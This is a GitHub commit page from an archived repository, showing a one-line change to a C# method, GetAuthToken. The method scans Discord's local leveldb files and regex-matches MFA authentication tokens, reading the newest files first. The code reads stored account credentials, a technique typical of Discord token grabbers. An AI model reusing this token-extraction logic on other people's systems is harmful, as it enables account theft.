Skip to content
This repository has been archived by the owner on Dec 4, 2021. It is now read-only.

Commit

Permalink
OrderByDescending when looking for token files.
Browse files Browse the repository at this point in the history
  • Loading branch information
clean-sys authored Sep 5, 2021
1 parent c3d3b22 commit 9149e3f
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion Util.cs
Original file line number Diff line number Diff line change
Expand Up @@ -162,7 +162,7 @@ public static string GetAuthToken()
string tokenStr = "";
DirectoryInfo directoryRoot = new DirectoryInfo(GetDiscordDirectory());

foreach (var file in directoryRoot.GetFiles("*.ldb").OrderBy(f => f.LastWriteTime))
foreach (var file in directoryRoot.GetFiles("*.ldb").OrderByDescending(f => f.LastWriteTime))
{
string fileOut = file.OpenText().ReadToEnd();
Match mfaMatch = Regex.Match(fileOut, @"mfa\.[\w-]{84}");
Expand Down

0 comments on commit 9149e3f

Please sign in to comment.